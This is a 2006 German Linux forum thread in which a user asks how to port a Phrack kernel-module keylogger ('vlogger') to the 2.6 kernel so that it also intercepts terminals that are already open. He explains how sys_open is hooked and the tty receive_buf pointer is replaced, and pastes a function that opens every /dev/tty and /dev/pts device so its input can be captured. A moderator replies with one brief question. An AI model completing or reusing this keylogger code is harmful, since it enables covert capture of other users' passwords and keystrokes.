Kernelprogrammierung: geöffnete Terminals modifizieren

Dieses Thema im Forum "C/C++" wurde erstellt von Lord Kefir, 16.01.2006.

  1. #1 Lord Kefir, 16.01.2006
    Lord Kefir

    Lord Kefir König

    Dabei seit:
    10.06.2004
    Beiträge:
    944
    Zustimmungen:
    0
    Guten Abend!

    Ich habe mal vor einigen Montaten das Kernelmodul 'vlogger' für den 2.6er-Kernel umgeschrieben (http://www.phrack.org/show.php?p=59&a=14).

    Ich erkläre mal kurz das Prinzip: der Treiber für das Terminal enthält einen Pointer auf die Funktion zum einlesen der Tastatureingaben - receive_buf(). Das Modul fängt sys_open() ab und setzt (falls ein Terminal geöffnet wird) den Zeiger auf die Adresse einer Funktion zum abfangen der Daten.

    Mein Problem: ich kann nicht bereits geöffnete Terminals modifizieren. Im Modul für den 2.4er-Kernel wird das Problem folgend gelöst:

    Code:
    void my_tty_open(void) 
    {
    	int fd, i;
    	char dev_name[80];
    
    #ifdef LOCAL_ONLY
    	int fl = 0;
    	struct tty_struct * tty;
    	struct file * file;
    #endif
    
    	for (i=1; i<MAX_TTY_CON; i++) {
    		snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);
    
    		BEGIN_KMEM
    			fd = open(dev_name, O_RDONLY, 0);
    			if (fd < 0) continue;
    
    #ifdef LOCAL_ONLY
    			file = fget(fd);
    			tty = file->private_data;
    			if (tty != NULL  && 
    				tty->ldisc.receive_buf != NULL) {
    				if (!fl) {
    					old_receive_buf = 
    						tty->ldisc.receive_buf;
    					fl = 1;
    				}
    				init_tty(tty, TTY_INDEX(tty));
    			}
    			fput(file);
    #endif
    
    			close(fd);
    		END_KMEM
    	}
    
    #ifndef LOCAL_ONLY
    	for (i=0; i<MAX_PTS_CON; i++) {
    		snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);
    
    		BEGIN_KMEM
    			fd = open(dev_name, O_RDONLY, 0);
    			if (fd >= 0) close(fd);
    		END_KMEM
    	}
    #endif
    
    }
    
    Dieser Code lässt sich leider nicht so einfach übertragen - z.B. motzt mein Compiler rum, weil die Funktion open() nicht bekannt ist. Ich habe leider recht wenig Ahnung von Kernelprogrammierung (dies ist mein erstes Experiment) und hoffe, dass mir einer von euch einen kleinen Tipp geben kann, wie ich bereits geöffnete Terminals 'abfangen' kann,

    Mfg, Lord Kefir
     
  2. Anzeige

    Schau dir mal diese Kategorie an. Dort findest du bestimmt etwas.
    Registrieren bzw. einloggen, um diese und auch andere Anzeigen zu deaktivieren
  3. #2 DennisM, 16.01.2006
    DennisM

    DennisM Moderator u. Newsposter

    Dabei seit:
    08.05.2004
    Beiträge:
    4.883
    Zustimmungen:
    0
    Ort:
    GER/NRW/Essen
    Gibts keine äquivalente Funktion im 2.6er Kernel dafür?

    MFG

    Dennis
     
Thema:

Kernelprogrammierung: geöffnete Terminals modifizieren

Die Seite wird geladen...

Kernelprogrammierung: geöffnete Terminals modifizieren - Ähnliche Themen

  1. kein Sound von Ant-Phone bei geöffnetem Mediaplayer

    kein Sound von Ant-Phone bei geöffnetem Mediaplayer: Liebe Wissende, ich sitze momentan an einer Suse 10.3 und benutze die Telefon-Software Ant-Phone. Alles wunderbar, abgesehen von o.g. Problem:...
  2. SMB Probleme mit geöffnetem File

    SMB Probleme mit geöffnetem File: Hallo Zusammen Melde mich mal wieder, weil ein gröberes Problem mit der Datei Transfer Beziehung zwichen ein SUSE Linux 9 Enterprise Server und...
  3. Probleme mit geöffnetem File

    Probleme mit geöffnetem File: Hallo Zusammen Melde mich mal wieder, weil ein gröberes Problem mit der Datei Transfer Beziehung zwichen ein SUSE Linux 9 Enterprise Server und...